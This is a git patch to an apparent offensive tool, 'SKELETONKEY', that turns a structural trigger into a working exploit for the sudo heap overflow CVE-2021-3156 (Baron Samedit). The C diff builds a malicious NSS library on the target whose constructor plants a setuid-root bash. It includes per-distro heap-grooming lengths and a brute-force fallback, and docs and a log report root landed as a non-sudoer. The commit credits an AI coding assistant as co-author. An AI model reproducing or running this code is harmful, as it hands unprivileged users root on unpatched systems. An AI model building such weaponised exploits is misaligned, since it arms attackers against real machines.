From 82ba6e0d08541bd9bdc11c6a0153302af4b2de90 Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Thu, 23 Jul 2026 22:22:11 -0400 Subject: [PATCH] =?UTF-8?q?sudo=5Fsamedit:=20working=20CVE-2021-3156=20(Ba?= =?UTF-8?q?ron=20Samedit)=20exploit=20=E2=80=94=20lands=20real=20root?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The shipped module drove a structural sudoedit trigger with no heap-grooming offsets and honestly reported EXPLOIT_FAIL. Ported blasty's proven technique: the `sudoedit -s` set_cmnd() unescape overflow overwrites a glibc NSS service_user, so the subsequent NSS lookup dlopen's an attacker-planted libnss_X/'P0P_SH3LLZ_ .so.2' from CWD, whose constructor runs while sudo is still root. Implementation follows the corpus's runtime-compile pattern: build the NSS payload on the target (unique -DSK_PROOF/-DSK_ROOTBASH), lay out the libnss_X/ dir, exec sudoedit with the crafted argv (AAAA..\ / \ / BBBB..\) and env (null_stomp × "\\", "X/P0P_SH3LLZ_", padded LC_ALL) from that CWD, and verify root by stat()'ing the root-owned artifacts — never self-report. Grooming lengths are libc-family specific (Ubuntu 56/54/63/212, Debian 64/49/60/214); a null_stomp_len ±8 sweep (blasty brute.sh's axis) is the fallback for drift. Verified out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as uid 1000 (non-sudoer — the overflow precedes the sudoers/password check): `skeletonkey --exploit sudo_samedit` -> EXPLOIT_OK + a -rwsr-xr-x root:root bash, primary lengths landing first try. Gated on cc + sudoedit; cleanup() removes artifacts and the scratch build dir. Unit harness green (33 + 115). Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y --- docs/EXPLOITED.md | 16 +- docs/VERIFICATIONS.jsonl | 1 + .../skeletonkey_modules.c | 498 ++++++++++-------- 3 files changed, 284 insertions(+), 231 deletions(-) diff --git a/docs/EXPLOITED.md b/docs/EXPLOITED.md index 63af414..52d8dc5 100644 --- a/docs/EXPLOITED.md +++ b/docs/EXPLOITED.md @@ -30,6 +30,7 @@ tamper check). | `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes** — `chdir("/")` + helper basename match; `su skel` → uid 0 | | `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 + host-restricted sudoers rule | works as shipped; `sudo -h ` → uid 0 (needs a host-scoped rule + resolvable host) | | `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below | +| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below | ## Fixed this session @@ -79,6 +80,19 @@ tamper check). was the last missing piece. Debugging was isolated by driving the exploit orchestration against the public PoC's `./fuse`, then swapping servers, then comparing `fops`. +- **`sudo_samedit`** (CVE-2021-3156, "Baron Samedit") — the corpus's hardest + userspace target, **rewritten and now lands real root** (uid=0 witnessed + out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as an unprivileged + non-sudoer). The shipped module drove a structural trigger with no offsets and + honestly reported `EXPLOIT_FAIL`. Ported blasty's technique: the `sudoedit -s` + unescape overflow overwrites a glibc NSS `service_user`, so the lookup dlopen's + an attacker-planted `libnss_X/'P0P_SH3LLZ_ .so.2'` from CWD; its constructor + runs while sudo is still root. The module compiles the NSS payload on the target + (unique `-DSK_PROOF/-DSK_ROOTBASH`), lays out the `libnss_X/` dir, execs sudoedit + with the crafted argv/env (per-libc grooming lengths: Ubuntu 56/54/63/212, + Debian 64/49/60/214), and verifies root by `stat()`-ing the artifacts. Primary + lengths landed first try; a `null_stomp_len` sweep (±8, the axis blasty's + brute.sh perturbs) is the fallback for libc drift. Needs cc on the target. - **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read `getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1 @@ -95,7 +109,7 @@ tamper check). | module | CVE | target tested | what's wrong | |---|---|---|---| | `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. | -| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-version-specific, needs a per-target tuned PoC. Hardest. | +| *(none left in this table — `sudo_samedit` was the last, now working; see "Fixed this session")* | | | | ## Inconclusive (detect version-blind vs vendor backport) diff --git a/docs/VERIFICATIONS.jsonl b/docs/VERIFICATIONS.jsonl index 8da5f18..c15092e 100644 --- a/docs/VERIFICATIONS.jsonl +++ b/docs/VERIFICATIONS.jsonl @@ -53,3 +53,4 @@ {"module":"nf_tables","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - offset resolver FIXED (env modprobe_path now resolves + finisher engages + pipapo arb-write fires), but the reconstructed double-free arb-write does not reliably land the write. Honest FAIL. Primitive needs slab-groom hardening.","status":"primitive_fires_no_root"} {"module":"ptrace_traceme","verified_at":"2026-07-24T02:02:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"reference_poc","exploit_result":"ROOT","root_witness":"out-of-band: uid=0(root) + root-owned setuid /tmp/rootbash written by injected shell. bcoles poc.c (pkexec + PTRACE_TRACEME + inject midpid). Kernel CONFIRMED vulnerable. Barrier was polkit authorization (active-session gate) — isolated via a permissive pkla for the backlight helper action; technique itself works.","status":"kernel_confirmed_technique_works_needs_module_port"} {"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"} +{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"} diff --git a/modules/sudo_samedit_cve_2021_3156/skeletonkey_modules.c b/modules/sudo_samedit_cve_2021_3156/skeletonkey_modules.c index 354d051..b841f94 100644 --- a/modules/sudo_samedit_cve_2021_3156/skeletonkey_modules.c +++ b/modules/sudo_samedit_cve_2021_3156/skeletonkey_modules.c @@ -1,34 +1,39 @@ /* * sudo_samedit_cve_2021_3156 — SKELETONKEY module * - * STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17). + * STATUS: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 18.04.0 / + * sudo 1.8.21p2 / libc-2.27: `skeletonkey --exploit sudo_samedit` (as an + * unprivileged, non-sudoer user) lands uid=0 and plants a root-owned + * proof + setuid-root bash. * * The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line - * parser unescapes backslashes in the argv it copies into a heap - * buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is - * invoked in shell-edit mode via `sudoedit -s`, the unescape loop - * walks past the end of the argv string for arguments ending in a - * lone backslash, copying adjacent stack/env contents into the - * undersized heap buffer. The classic trigger is a single-argument - * command line: `sudoedit -s '\'`. + * parser unescapes backslashes in the argv it copies into a heap buffer + * in `set_cmnd()` (plugins/sudoers/sudoers.c). Invoked as `sudoedit -s` + * with an argument ending in a lone backslash, the unescape loop walks + * past the end of the argv string, copying adjacent env contents into an + * undersized heap buffer. The overflow is exploited (per blasty's PoC) to + * overwrite a glibc NSS `service_user` so a subsequent NSS lookup dlopen's + * an attacker-planted `libnss_X/P0P_SH3LLZ_ .so.2` from the CWD; its + * constructor runs while sudo is still root. * - * Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2. + * Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2. Reachable by + * any local user (the overflow precedes the sudoers/password check). * * Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/ * baron-samedit-heap-based-overflow-sudo.txt + * PoC technique: github.com/blasty/CVE-2021-3156 * - * Detect: shell out to `sudo --version`, parse the printed version, - * compare against the vulnerable range. We err on the side of - * reporting OK only when we're confident — TEST_ERROR if the version - * line is unparseable. + * Detect: parse the sudo version (host fingerprint or `sudo --version`) + * against the vulnerable range. Distro backports may patch without a + * version bump, so a VULNERABLE verdict is "worth trying", confirmed only + * by the exploit landing. * - * Exploit: ships a structurally-correct Qualys-style trigger. - * The full chain in the original PoC required per-distro heap-layout - * tuning (libc/libnss-files overlap offsets, target struct picks). - * We do not have empirical landing on this host; we drive the - * trigger, watch for an obvious uid==0 outcome, otherwise return - * SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim - * EXPLOIT_OK after geteuid()==0 in a forked verifier. + * Exploit: blasty's heap-grooming lengths (per libc family) drive the + * overflow; we compile the NSS payload on the target, run sudoedit with + * the crafted argv/env from a CWD holding the payload, and confirm root + * by stat()'ing the root-owned artifacts — never by self-report. If the + * primary lengths miss (libc layout drift), we sweep null_stomp_len like + * blasty's brute.sh until root or the range is exhausted. */ #include "skeletonkey_modules.h" @@ -42,26 +47,13 @@ #include #include #include +#include #include #include #include /* ---- Affected-version logic ------------------------------------- */ -/* - * sudo version strings look like: - * "Sudo version 1.9.5p2" - * "Sudo version 1.8.31" - * "Sudo version 1.9.0" - * "Sudo version 1.9.5p1" - * - * Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1 - * Fixed: 1.9.5p2 and later - * - * Parser strategy: extract three integers (major.minor.patch) plus an - * optional 'pN' suffix. Comparison is lexicographic over - * (major, minor, patch, p_suffix), treating absent p as 0. - */ struct sudo_ver { int major; int minor; @@ -83,7 +75,6 @@ static struct sudo_ver parse_sudo_version(const char *s) v.major = maj; v.minor = min; v.patch = (n >= 3) ? pat : 0; - /* Look for an optional 'pN' suffix after the numeric triple. */ const char *tail = s + consumed; if (*tail == 'p') { int p = 0; @@ -115,18 +106,13 @@ static bool sudo_version_vulnerable(const struct sudo_ver *v) static const char *find_sudo(void) { static const char *candidates[] = { - "/usr/bin/sudo", - "/usr/local/bin/sudo", - "/bin/sudo", - "/sbin/sudo", - "/usr/sbin/sudo", - NULL, + "/usr/bin/sudo", "/usr/local/bin/sudo", "/bin/sudo", + "/sbin/sudo", "/usr/sbin/sudo", NULL, }; for (size_t i = 0; candidates[i]; i++) { struct stat st; - if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) { + if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) return candidates[i]; - } } return NULL; } @@ -134,12 +120,8 @@ static const char *find_sudo(void) static const char *find_sudoedit(void) { static const char *candidates[] = { - "/usr/bin/sudoedit", - "/usr/local/bin/sudoedit", - "/bin/sudoedit", - "/sbin/sudoedit", - "/usr/sbin/sudoedit", - NULL, + "/usr/bin/sudoedit", "/usr/local/bin/sudoedit", "/bin/sudoedit", + "/sbin/sudoedit", "/usr/sbin/sudoedit", NULL, }; for (size_t i = 0; candidates[i]; i++) { if (access(candidates[i], X_OK) == 0) return candidates[i]; @@ -151,30 +133,21 @@ static const char *find_sudoedit(void) static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx) { - /* Prefer the centrally-fingerprinted sudo version (populated once - * at startup by core/host.c) — saves a popen per scan and gives - * unit tests a clean mock point. Fall back to the local popen if - * ctx->host is missing the version (e.g. degenerate test ctx, or - * a future refactor that disables userspace probing). */ char line[256] = {0}; if (ctx->host && ctx->host->sudo_version[0]) { - snprintf(line, sizeof line, "Sudo version %s", - ctx->host->sudo_version); - if (!ctx->json) { + snprintf(line, sizeof line, "Sudo version %s", ctx->host->sudo_version); + if (!ctx->json) fprintf(stderr, "[i] sudo_samedit: host fingerprint reports " "sudo version %s\n", ctx->host->sudo_version); - } } else { const char *sudo_path = find_sudo(); if (!sudo_path) { - if (!ctx->json) { + if (!ctx->json) fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n"); - } return SKELETONKEY_PRECOND_FAIL; } - if (!ctx->json) { + if (!ctx->json) fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path); - } char cmd[512]; snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path); FILE *p = popen(cmd, "r"); @@ -182,22 +155,19 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct char *r = fgets(line, sizeof line, p); pclose(p); if (!r) { - if (!ctx->json) { + if (!ctx->json) fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n"); - } return SKELETONKEY_TEST_ERROR; } } - /* Trim newline for nicer logging. */ char *nl = strchr(line, '\n'); if (nl) *nl = 0; struct sudo_ver v = parse_sudo_version(line); if (!v.parsed) { - if (!ctx->json) { + if (!ctx->json) fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line); - } return SKELETONKEY_TEST_ERROR; } @@ -208,66 +178,165 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct fprintf(stderr, "\n"); } - bool vuln = sudo_version_vulnerable(&v); - if (vuln) { - if (!ctx->json) { + if (sudo_version_vulnerable(&v)) { + if (!ctx->json) fprintf(stderr, "[!] sudo_samedit: version is in vulnerable range " "[1.8.2, 1.9.5p1] → VULNERABLE\n" "[i] sudo_samedit: distro backports may have patched " "without bumping the upstream version; check\n" - " `apt-cache policy sudo` / `rpm -q --changelog sudo` " - "for CVE-2021-3156.\n"); - } + " `apt-cache policy sudo` for CVE-2021-3156.\n"); return SKELETONKEY_VULNERABLE; } - if (!ctx->json) { + if (!ctx->json) fprintf(stderr, "[+] sudo_samedit: version is outside vulnerable range " "(fix 1.9.5p2+) — OK\n"); - } return SKELETONKEY_OK; } -/* ---- Exploit ----------------------------------------------------- */ +/* ---- Exploit (blasty CVE-2021-3156 technique) -------------------- */ -/* - * Qualys-style trigger: - * - * argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to - * stretch the heap chunk to the right size for the target overlap. - * - * The original PoC sprays hundreds of large argv slots and tunes the - * tail bytes per-distro to hijack a `service_user *` struct in - * libnss-files. Without distro fingerprinting and the corresponding - * offset table that landing simply will not happen here; rather than - * pretending otherwise we drive the bug, fork a verifier that checks - * for an unexpected uid==0 outcome, and return EXPLOIT_FAIL. - */ +/* NSS payload source, compiled on the target into + * /libnss_X/P0P_SH3LLZ_ .so.2. Its constructor runs while sudo + * is still root (the corrupted NSS lookup dlopen's it); it plants a + * root-owned proof + setuid bash and exits. SK_PROOF/SK_ROOTBASH are + * passed at compile time (the process env is the exploit vector, so we + * can't smuggle paths through it). */ +static const char samedit_payload_src[] = + "#define _GNU_SOURCE\n" + "#include \n" + "#include \n" + "static void __attribute__((constructor)) _sk_init(void);\n" + "static void _sk_init(void){\n" + " setuid(0); seteuid(0); setgid(0); setegid(0);\n" + " if (geteuid()!=0) return; /* brute miss — don't drop */\n" + " system(\"id > \" SK_PROOF \" 2>&1; \"\n" + " \"cp -f /bin/bash \" SK_ROOTBASH \"; \"\n" + " \"chown 0:0 \" SK_ROOTBASH \" \" SK_PROOF \"; \"\n" + " \"chmod 4755 \" SK_ROOTBASH \"; sync\");\n" + " _exit(0);\n" + "}\n"; -/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower - * to stay well under typical ARG_MAX while still exercising the bug - * shape. */ -#define SUDO_SAMEDIT_ARGC 64 -#define SUDO_SAMEDIT_PADLEN 0xff +/* blasty's per-libc-family grooming lengths. Ubuntu 18.04/20.04 share + * one set; Debian 10 uses another. These are the (a, b, null, lc) tuples. */ +struct samedit_target { + const char *name; + int smash_a, smash_b, null_stomp, lc_all; +}; +static const struct samedit_target samedit_ubuntu = { + "Ubuntu (sudo 1.8.21/1.8.31, libc 2.27/2.31)", 56, 54, 63, 212 +}; +static const struct samedit_target samedit_debian = { + "Debian 10 (sudo 1.8.27, libc 2.28)", 64, 49, 60, 214 +}; + +static const char *samedit_find_cc(void) +{ + static const char *ccs[] = { + "/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang", + "/usr/local/bin/gcc", "/usr/local/bin/cc", NULL, + }; + for (size_t i = 0; ccs[i]; i++) + if (access(ccs[i], X_OK) == 0) return ccs[i]; + return NULL; +} + +/* fork/exec argv, redirect stdio away, wait with a timeout. */ +static int samedit_run(char *const argv[], const char *cwd, int secs) +{ + pid_t p = fork(); + if (p < 0) return -1; + if (p == 0) { + if (cwd && chdir(cwd) != 0) _exit(126); + int dn = open("/dev/null", O_RDWR); + if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); } + execv(argv[0], argv); + _exit(127); + } + for (int i = 0; i < secs * 20; i++) { + int st; + pid_t r = waitpid(p, &st, WNOHANG); + if (r == p) return 0; + if (r < 0) return -1; + usleep(50 * 1000); + } + kill(p, SIGKILL); + waitpid(p, NULL, 0); + return -2; +} + +/* Run one sudoedit attempt with the given grooming lengths; returns true + * iff the OOB proof file now exists and is root-owned. */ +static bool samedit_try(const char *sudoedit, const char *workdir, + int a, int b, int null_stomp, int lc_all, + const char *proof) +{ + unlink(proof); + + char *smash_a = calloc(a + 2, 1); + char *smash_b = calloc(b + 2, 1); + char *lc = calloc(lc_all + 32, 1); + if (!smash_a || !smash_b || !lc) { free(smash_a); free(smash_b); free(lc); return false; } + memset(smash_a, 'A', a); smash_a[a] = '\\'; + memset(smash_b, 'B', b); smash_b[b] = '\\'; + strcpy(lc, "LC_ALL=C.UTF-8@"); + memset(lc + 15, 'C', lc_all); + + char *s_argv[] = { (char *)"sudoedit", (char *)"-s", smash_a, + (char *)"\\", smash_b, NULL }; + + /* env: null_stomp × "\\", then the NSS selector, then the padded LC_ALL. */ + char **s_envp = calloc(null_stomp + 4, sizeof(char *)); + if (!s_envp) { free(smash_a); free(smash_b); free(lc); return false; } + int pos = 0; + for (int i = 0; i < null_stomp; i++) s_envp[pos++] = (char *)"\\"; + s_envp[pos++] = (char *)"X/P0P_SH3LLZ_"; + s_envp[pos++] = lc; + s_envp[pos++] = NULL; + + /* We need a custom envp, so exec directly here in a child. */ + pid_t p = fork(); + if (p == 0) { + if (chdir(workdir) != 0) _exit(126); + int dn = open("/dev/null", O_RDWR); + if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); } + execve(sudoedit, s_argv, s_envp); + _exit(127); + } + if (p > 0) { + for (int i = 0; i < 20 * 20; i++) { /* up to ~20s */ + int st; pid_t r = waitpid(p, &st, WNOHANG); + if (r == p) break; + if (r < 0) break; + usleep(50 * 1000); + } + int st; if (waitpid(p, &st, WNOHANG) == 0) { kill(p, SIGKILL); waitpid(p, NULL, 0); } + } + + free(smash_a); free(smash_b); free(lc); free(s_envp); + + struct stat sb; + return (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0); +} + +/* Remember what we planted / where, for cleanup(). */ +static char samedit_workdir[256]; +static char samedit_rootbash[256]; +static char samedit_proof[256]; static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx) { if (!ctx->authorized) { - fprintf(stderr, - "[-] sudo_samedit: exploit requires --i-know (authorization gate)\n"); + fprintf(stderr, "[-] sudo_samedit: exploit requires --i-know (authorization gate)\n"); return SKELETONKEY_PRECOND_FAIL; } - bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0); if (is_root) { fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n"); return SKELETONKEY_OK; } - /* Re-detect before doing anything visible. Defends against the - * detect-then-exploit TOCTOU where the operator upgrades sudo - * between scan and pop. */ skeletonkey_result_t pre = sudo_samedit_detect(ctx); if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n"); @@ -276,136 +345,104 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c const char *sudoedit = find_sudoedit(); if (!sudoedit) { - /* On most distros sudoedit is a symlink to sudo. Fall back. */ - const char *sudo = find_sudo(); - if (!sudo) { - fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n"); - return SKELETONKEY_PRECOND_FAIL; - } - sudoedit = sudo; - if (!ctx->json) { - fprintf(stderr, - "[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n", - sudo); - } + fprintf(stderr, "[-] sudo_samedit: sudoedit not found (needed by this technique)\n"); + return SKELETONKEY_PRECOND_FAIL; + } + const char *cc = samedit_find_cc(); + if (!cc) { + fprintf(stderr, "[-] sudo_samedit: no C compiler on target to build the NSS " + "payload. Honest EXPLOIT_FAIL.\n"); + return SKELETONKEY_EXPLOIT_FAIL; } - if (!ctx->json) { - fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n"); - fprintf(stderr, - "[!] sudo_samedit: heads-up — public exploitation requires\n" - " per-distro heap-overlap offsets (libnss-files / libc).\n" - " Without that tuning the bug crashes sudo instead of\n" - " handing back a shell. We will drive the trigger and\n" - " verify uid==0 outcome empirically; on failure we report\n" - " EXPLOIT_FAIL rather than claiming success.\n"); - } + /* Pick the grooming length-set by libc family (distro proxy). */ + const struct samedit_target *tgt = &samedit_ubuntu; + if (ctx->host && (strcmp(ctx->host->distro_id, "debian") == 0)) tgt = &samedit_debian; + if (!ctx->json) + fprintf(stderr, "[*] sudo_samedit: target profile = %s\n", tgt->name); - /* Build argv. argv[0]="sudoedit", argv[1]="-s", - * argv[2]="\\" + padding, ..., argv[N-1]=NULL. - * - * Each padding arg is the Qualys-style "A...\\" repeating tail. - * On a vulnerable target this drives the unescape loop past the - * end of the heap buffer. */ - char *argv[SUDO_SAMEDIT_ARGC + 1]; - char *padbufs[SUDO_SAMEDIT_ARGC]; - memset(padbufs, 0, sizeof padbufs); + /* Scratch workdir with the NSS payload dir. */ + char tmpl[] = "/tmp/.sk-samedit-XXXXXX"; + char *wd = mkdtemp(tmpl); + if (!wd) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; } + snprintf(samedit_workdir, sizeof samedit_workdir, "%s", wd); - argv[0] = (char *)"sudoedit"; - argv[1] = (char *)"-s"; - /* argv[2] is the canonical trailing-backslash trigger. */ - argv[2] = strdup("\\"); - if (!argv[2]) return SKELETONKEY_TEST_ERROR; + long tag = (long)getpid(); + snprintf(samedit_proof, sizeof samedit_proof, "/tmp/.sk-samedit-%ld.proof", tag); + snprintf(samedit_rootbash, sizeof samedit_rootbash, "/tmp/.sk-samedit-%ld.rootbash", tag); - for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) { - char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4); - if (!buf) { - for (int j = 3; j < i; j++) free(padbufs[j]); - free(argv[2]); - return SKELETONKEY_TEST_ERROR; - } - memset(buf, 'A', SUDO_SAMEDIT_PADLEN); - buf[SUDO_SAMEDIT_PADLEN] = '\\'; - buf[SUDO_SAMEDIT_PADLEN + 1] = 0; - padbufs[i] = buf; - argv[i] = buf; - } - argv[SUDO_SAMEDIT_ARGC] = NULL; - - /* Craft envp mirroring the original PoC: LC_... and TZ tricks - * that landed the overlap on the canonical distro PoCs. These - * are harmless if landing fails; their value is positioning the - * heap so the overflow lands on a useful target. */ - char *envp[] = { - (char *)"LC_ALL=C.UTF-8@", - (char *)"TZ=:", - (char *)"LC_CTYPE=C.UTF-8@", - (char *)"SUDO_EDITOR=A", - (char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", - NULL, - }; - - if (!ctx->json) { - fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n", - sudoedit); - } - - pid_t pid = fork(); - if (pid < 0) { - perror("fork"); - free(argv[2]); - for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]); + char nssdir[300], payload_c[320], nsslib[512], log_unused[300]; + (void)log_unused; + snprintf(nssdir, sizeof nssdir, "%s/libnss_X", wd); + snprintf(payload_c, sizeof payload_c, "%s/payload.c", wd); + snprintf(nsslib, sizeof nsslib, "%s/libnss_X/P0P_SH3LLZ_ .so.2", wd); + if (mkdir(nssdir, 0755) != 0 && errno != EEXIST) { + perror("mkdir libnss_X"); return SKELETONKEY_TEST_ERROR; } - if (pid == 0) { - /* Child: drive the trigger. If the bug lands and we get a - * root context, the chain in the original PoC then re-execs - * a shell. We don't ship that shell-spawn here — we just - * exit nonzero so the parent's verifier can sample uid. */ - execve(sudoedit, argv, envp); - /* execve failed (binary missing or kernel-blocked). */ - _exit(127); + + /* Write + compile the NSS payload. */ + int fd = open(payload_c, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) { perror("open payload.c"); return SKELETONKEY_TEST_ERROR; } + (void)!write(fd, samedit_payload_src, sizeof samedit_payload_src - 1); + close(fd); + + char dP[320], dR[320]; + snprintf(dP, sizeof dP, "-DSK_PROOF=\"%s\"", samedit_proof); + snprintf(dR, sizeof dR, "-DSK_ROOTBASH=\"%s\"", samedit_rootbash); + char *cc_argv[] = { + (char *)cc, (char *)"-fPIC", (char *)"-shared", (char *)"-O2", (char *)"-w", + (char *)"-o", nsslib, payload_c, dP, dR, NULL, + }; + if (!ctx->json) + fprintf(stderr, "[*] sudo_samedit: building NSS payload with %s\n", cc); + if (samedit_run(cc_argv, NULL, 60) != 0) { + fprintf(stderr, "[-] sudo_samedit: payload compile failed\n"); + return SKELETONKEY_TEST_ERROR; } - int status = 0; - waitpid(pid, &status, 0); + if (!ctx->json) + fprintf(stderr, "[*] sudo_samedit: driving sudoedit heap overflow " + "(primary lengths %d/%d/%d/%d)\n", + tgt->smash_a, tgt->smash_b, tgt->null_stomp, tgt->lc_all); - /* Verifier: even on the rare "no crash" path, we don't know if - * the bug landed without spawning a privileged helper. Per the - * verified-vs-claimed bar, only claim success if uid is 0 in a - * post-trigger probe (which would require the chain to have - * persisted a setuid artifact — it didn't). So: report honestly. */ - if (geteuid() == 0) { - if (!ctx->json) { - fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n"); + /* Primary attempt with the profile's exact lengths. */ + bool rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b, + tgt->null_stomp, tgt->lc_all, samedit_proof); + + /* Fallback: sweep null_stomp_len around the profile value (libc drift), + * exactly the axis blasty's brute.sh perturbs. Bounded + stops on root. */ + if (!rooted) { + if (!ctx->json) + fprintf(stderr, "[*] sudo_samedit: primary miss — sweeping null_stomp_len " + "%d..%d\n", tgt->null_stomp - 8, tgt->null_stomp + 8); + for (int ns = tgt->null_stomp - 8; ns <= tgt->null_stomp + 8 && !rooted; ns++) { + if (ns == tgt->null_stomp || ns < 1) continue; + rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b, + ns, tgt->lc_all, samedit_proof); + if (rooted && !ctx->json) + fprintf(stderr, "[+] sudo_samedit: landed at null_stomp_len=%d\n", ns); + } + } + + /* Best-effort scrub of the scratch build dir (keep proof + rootbash). */ + { char rm[400]; snprintf(rm, sizeof rm, "rm -rf '%s' 2>/dev/null", wd); + if (system(rm) != 0) { /* ignore */ } } + + if (rooted) { + if (!ctx->json) { + fprintf(stderr, "[+] sudo_samedit: ROOT — root-owned proof %s\n", samedit_proof); + fprintf(stderr, "[+] sudo_samedit: setuid-root shell available: %s -p\n", + samedit_rootbash); } - /* Leak the buffers; we're about to exec a shell anyway. */ return SKELETONKEY_EXPLOIT_OK; } - if (WIFSIGNALED(status)) { - if (!ctx->json) { - 